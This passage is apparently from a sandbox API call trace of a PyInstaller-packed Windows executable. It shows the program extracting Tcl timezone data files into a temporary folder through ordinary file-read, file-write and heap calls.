cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.232] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Metlakatla" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\metlakatla"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.232] GetFileType (hFile=0x10c) returned 0x1 [0039.232] htonl (hostlong=0xc8040000) returned 0x4c8 [0039.232] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.233] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x4c8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x4c8, lpOverlapped=0x0) returned 1 [0039.234] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.234] CloseHandle (hObject=0x10c) returned 1 [0039.235] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550780 | out: hHeap=0x530000) returned 1 [0039.235] htonl (hostlong=0x30000000) returned 0x30 [0039.235] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.235] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.235] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.235] GetFileType (hFile=0x10c) returned 0x1 [0039.235] htonl (hostlong=0xa5a35900) returned 0x59a3a5 [0039.235] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e53a5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.235] htonl (hostlong=0x54050000) returned 0x554 [0039.235] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x554) returned 0x550600 [0039.235] htonl (hostlong=0x54050000) returned 0x554 [0039.235] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.235] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.235] htonl (hostlong=0x971a0000) returned 0x1a97 [0039.235] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1a97) returned 0x561090 [0039.235] htonl (hostlong=0x54050000) returned 0x554 [0039.235] htonl (hostlong=0x971a0000) returned 0x1a97 [0039.235] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562b30 [0039.235] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562b30 | out: hHeap=0x530000) returned 1 [0039.235] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.236] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.236] CloseHandle (hObject=0x10c) returned 1 [0039.236] GetLastError () returned 0x0 [0039.236] SetLastError (dwErrCode=0x0) [0039.236] GetLastError () returned 0x0 [0039.236] SetLastError (dwErrCode=0x0) [0039.236] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.236] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.236] GetFileType (hFile=0x10c) returned 0x1 [0039.236] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.236] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.236] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.236] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.236] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.236] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.236] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.236] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.236] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.236] CloseHandle (hObject=0x10c) returned 1 [0039.236] GetLastError () returned 0x0 [0039.237] SetLastError (dwErrCode=0x0) [0039.237] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.237] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.237] GetFileType (hFile=0x10c) returned 0x1 [0039.237] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.237] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.237] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.237] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.237] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.237] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.237] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.237] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.237] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.237] CloseHandle (hObject=0x10c) returned 1 [0039.237] GetLastError () returned 0x0 [0039.237] SetLastError (dwErrCode=0x0) [0039.237] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.237] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.237] GetFileType (hFile=0x10c) returned 0x1 [0039.237] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.237] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.237] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.237] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.238] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.238] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.238] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.238] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.238] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.238] CloseHandle (hObject=0x10c) returned 1 [0039.238] GetLastError () returned 0x0 [0039.238] SetLastError (dwErrCode=0x0) [0039.238] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Mexico_City") returned 76 [0039.238] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Mexico_City" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\mexico_city"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.238] GetLastError () returned 0x2 [0039.238] SetLastError (dwErrCode=0x2) [0039.238] GetLastError () returned 0x2 [0039.238] SetLastError (dwErrCode=0x2) [0039.238] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Mexico_City", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Mexico_City", lpFilePart=0x0) returned 0x4b [0039.238] GetLastError () returned 0x2 [0039.238] SetLastError (dwErrCode=0x2) [0039.238] GetLastError () returned 0x2 [0039.238] SetLastError (dwErrCode=0x2) [0039.238] GetLastError () returned 0x2 [0039.238] SetLastError (dwErrCode=0x2) [0039.238] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Mexico_City") returned 76 [0039.238] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.238] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Mexico_City" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\mexico_city"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.240] GetFileType (hFile=0x10c) returned 0x1 [0039.240] htonl (hostlong=0x971a0000) returned 0x1a97 [0039.240] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.241] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.241] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xa97, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xa97, lpOverlapped=0x0) returned 1 [0039.241] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.241] CloseHandle (hObject=0x10c) returned 1 [0039.242] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.243] htonl (hostlong=0x40000000) returned 0x40 [0039.243] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.243] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.243] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.243] GetFileType (hFile=0x10c) returned 0x1 [0039.243] htonl (hostlong=0xf9a85900) returned 0x59a8f9 [0039.243] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e58f9, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.243] htonl (hostlong=0x6c050000) returned 0x56c [0039.243] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x56c) returned 0x550600 [0039.243] htonl (hostlong=0x6c050000) returned 0x56c [0039.243] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.244] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.244] htonl (hostlong=0xa21b0000) returned 0x1ba2 [0039.244] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1ba2) returned 0x561090 [0039.244] htonl (hostlong=0x6c050000) returned 0x56c [0039.244] htonl (hostlong=0xa21b0000) returned 0x1ba2 [0039.244] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562c40 [0039.244] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562c40 | out: hHeap=0x530000) returned 1 [0039.244] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.244] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.244] CloseHandle (hObject=0x10c) returned 1 [0039.244] GetLastError () returned 0x0 [0039.245] SetLastError (dwErrCode=0x0) [0039.245] GetLastError () returned 0x0 [0039.245] SetLastError (dwErrCode=0x0) [0039.245] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.245] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.245] GetFileType (hFile=0x10c) returned 0x1 [0039.245] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.245] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.245] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.245] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.245] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.245] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.245] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.245] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.245] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.245] CloseHandle (hObject=0x10c) returned 1 [0039.245] GetLastError () returned 0x0 [0039.245] SetLastError (dwErrCode=0x0) [0039.245] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.245] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.245] GetFileType (hFile=0x10c) returned 0x1 [0039.245] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.245] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.245] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.245] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.246] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.246] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.246] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.246] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.246] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.246] CloseHandle (hObject=0x10c) returned 1 [0039.246] GetLastError () returned 0x0 [0039.246] SetLastError (dwErrCode=0x0) [0039.246] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.246] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.246] GetFileType (hFile=0x10c) returned 0x1 [0039.246] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.246] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.246] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.246] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.246] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.246] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.246] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.246] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.246] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.246] CloseHandle (hObject=0x10c) returned 1 [0039.246] GetLastError () returned 0x0 [0039.247] SetLastError (dwErrCode=0x0) [0039.247] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Miquelon") returned 73 [0039.247] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Miquelon" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\miquelon"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.247] GetLastError () returned 0x2 [0039.247] SetLastError (dwErrCode=0x2) [0039.247] GetLastError () returned 0x2 [0039.247] SetLastError (dwErrCode=0x2) [0039.247] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Miquelon", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Miquelon", lpFilePart=0x0) returned 0x48 [0039.247] GetLastError () returned 0x2 [0039.247] SetLastError (dwErrCode=0x2) [0039.247] GetLastError () returned 0x2 [0039.247] SetLastError (dwErrCode=0x2) [0039.247] GetLastError () returned 0x2 [0039.247] SetLastError (dwErrCode=0x2) [0039.247] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Miquelon") returned 73 [0039.247] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.247] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Miquelon" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\miquelon"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.247] GetFileType (hFile=0x10c) returned 0x1 [0039.247] htonl (hostlong=0xa21b0000) returned 0x1ba2 [0039.247] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.248] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.248] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xba2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, 